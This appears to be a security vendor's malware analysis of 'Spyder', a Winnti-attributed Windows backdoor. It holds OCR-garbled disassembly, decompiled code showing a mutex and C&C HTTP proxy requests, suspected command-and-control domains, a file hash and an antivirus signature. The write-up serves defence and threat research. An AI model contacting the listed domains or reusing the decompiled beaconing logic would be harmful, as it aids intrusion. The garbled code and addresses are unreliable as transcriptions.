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Overview:

SonicWall's Capture Labs Threat Research Team, recently captured and evaluated a new
malicious sample termed Spyder, from China’s “Winnti” hacking group. This backdoor is
written in C++ and designed to run on 64-bit Windows. This module is being used for
targeted attacks on information storage systems, collecting information about corrupted
devices, executing mischievous payloads, coordinating script execution, and C&C server
communication. The module is loaded by the MSDTC system service using a well-known
DLL Hijacking method. The function names within the modules export table are related to
the exported functions of the apphelp.dll system library.

Static Information & Error Checking Information:
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Dynamic Information:

DIl Main inside x64 debug:
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sub rsp,z8
cmp edx,1
je test.7FEEF3E17SE
cmp edx, 2

jne test.7FEET3E17B3

mov gword ptr ds: [FFEEF4896C0] ,rcx
call gword ptr ds:[<&DisableThreadLibraryCalls=]
cmp dword ptr ds: [FFEEF4896L8],0

jne test.7FEE7F3E17B3
€2l test.7FEEF3IE1750
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Encrypted PE File in memory:

mov dword ptr ds: [FFEEF4896L£8],1

mow
add
FEL
int3
int3
int3
lea
Tea
mow
1ea
mow
mow
lea
Mo
mow
Tea
mow
lea
Mo
1ea
mow
lea
mow
Tea
mow
EEeE
int3
int3

ean,1
rsp,28

rax,qword
rox, qword
gword ptr
rax,qword
gword ptr
gword ptr
rax,gwaord
gword ptr
gword ptr
rax,qword
gword ptr
rax,gword
gword ptr
rax,qword
gword ptr
rax,qword
gword ptr
rax,qword
gword ptr

ptr ds:[7FEE73E2DEC]
ptr ds:[FFEE73E393C]
ds: [FFEE7488208] ,rax
ptr ds:[FFEE73EZDDC]
ds: [FFEE7488200] ,rcx
ds: [FFEE7488210] ,rax
ptr ds:[7FEE73EZDE4]
ds: [FFEE7488228] ,rcx
ds: [FFEEF488218] ,rax
ptr ds:[7FEE73E2D80]
ds: [FFEE7488220] ,rax
ptr ds: [7FEE73E328A4]
ds: [FFEE7488230] ,rax
ptr ds:[FFEE73EZD98]
ds: [FFEE7488238] ,rax
ptr ds:[FFEEF3E2CE0D]
ds: [FFEE7488240] ,rax
ptr ds:[FFEE73E2C60]
ds: [FFEE7488248] ,rax
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Call to Shellcode see RAX:

D00DO7FEET
000007 7
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Q00007 FEET.
000007
00000
Q00007 FEET7.
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call

rax

test eax,eax
jne test.7FEETIE170A
MOV_ECK,45A
€311 gword ptr ds:[<&SetLastError=]

mov rox,rdi
€all test.7FEE73E1480

xor
mov
mov
mov
mov
add
pop
pop
pop
ret
mov
mov

eax, eax

rdi,gword ptr
rbx,qword ptr
rbp,qword ptr
rsi,qword ptr

rsp,20
ris
ri3
riz

ss:firsp+40f
s5:frsp+42]
ss:frsp+sof
ssifrsp+ss]

dword ptr ds:[rdi+ic],1

rax,rdi

jmp test.FFEE73EL6EE
it

Snrz

DIl Main inside Encrypted PE File:

[rsp+50] :L™wvx"

000000018005CDED
0000000180000000
0000000180000000
0000000000000001
0000000180000000
000000000024F050
000007FEE73F1118
0000000000419EFO

0000000000000000
0000000000419EFD
0000000000000000
00000001800000F 8
000007FEEF2F1020
000007 FEEF3E1460
0D0007FEE72E1450
0000000000000000

test.000007FEET3F1118

test.00000FFEET3F1020
<test.JMP.&GetProcAddress>
<Test.JMP.&LoadLibraryas
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if (a2 == 1)

dword_18386891348 = 1;
if { *(unsigned int)sub_1888516F8(""Global\\BFE_MNotify Event_{65a897fe-6182-446a-9Ff9c-55dfc3Fus58533") )

if ( unk_18008D620 )
{
if { unk_180888D828 <= 2u )
if { (unsigned int)sub_1808517D8{"-k netsvcs™) )
{

quord_1888913480 = sub_188851688("Global\\BFE_Notify Event_{65a@897fe-6102-446a-9F9c-55dFfcIFu5853}");
quord_1866091338 = beginthreadex_18885CA1C(@8i64, B8, (_  int64)sub_188053188, Bi64);
beginthreadex_18885CA1C(0i64, 8, {_  intd4)sub_180852BEQ, B8idh);
if { unk_18888DA28 == 2 )
{

ud = {_ int64 (=)())sub_188852BF8;

goto LABEL_18;

H
' b
} .
! else if ( unk_18868D828 == 3 )
1
{
I quord_188091348 = sub_188051688("Global\\BFE_Hotify Event_{65a@97fe-6182-446a-9F9c-55dFc3Fu58533");
u? = beginthreadex 18005CA1C(0is4, @, ( int64)sub_ 180053180, Bisu);
! ud = sub_1800528E8;
! quord_188891338 = v2;
{LABEL_18:
: beginthreadex 18005CAMC({0i64, B, ( intsk)ud, Bi6d);
| return 1i64;
H
! b
! b
I
return 1i64;
Iy
Network Artifacts:

Get Request:

L

if ¢ uis )

sub_18@05CDEB(u3, 2897150i64, “GET http://%s/ HTTP/1_BhrinHost: %sirin™, &U27);
sub_188685D918(v3, "Cache-Control: no-storewrin™, @x1FFFFF - strlen{uv3));

H

else

sub_180085CDEB(v3, 20897158164, "CONMECT %s HTTP/1.1%rinHost: %syrin"™, &u27);

H

sub_186805D918{v2, "Proxy-Connection: Keep-Aliveirin", Ox1FFFFF - strlen(u3)}};

sub_18885D918(
v3,
"User-Agent: Mozilla/5.8 {Windows NT 6.3; WOW64) AppleWebKit/537_36 (KHTHL, like Gecko) Chrome/47.8.2526.73 Safari/537.36\r\n",
Bx1FFFFF - strlen{v3});

sub_18@8@5D918(v3, “Proxy—-Authorization: HTLM *, Bx1FFFFF - strlen(vu3));

sub_1860850910(u3, &u29, Bx1FFFFF - strlen{u3));

sub_18885D0918(v3, "\rinirin®, Bx1FFFFF - strlen{vi});

H
return sub_180685B3AB{ (unsigned _ int64)&uls u3dl);

Possible domains in the wild:

¢ sidc.everywebsite.us

e snoc.hostingupdate.club

e wntc.livehost.live

¢ hccadkml89.dnslookup.services
e koran.junlper.com

e nted.tg9f6zwkx.icu

e sidcfpprx14.in.ril.com

e sidcfpprx01.in.ril.com

e sidcfpprx25.in.ril.com

e sidcfpprx10.in.ril.com
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Supported Systems:

Windows 10
Windows 8.1
Windows 8.0
Windows 7
Windows Vista

SonicWall, (GAV) Gateway Anti-Virus, provides protection against this threat:
GAV: Spyder.DN (Trojan)
Appendix:

Sample SHA-1 Hash: 41777d592dd91e7fb2a1561aff018c452eb32c28
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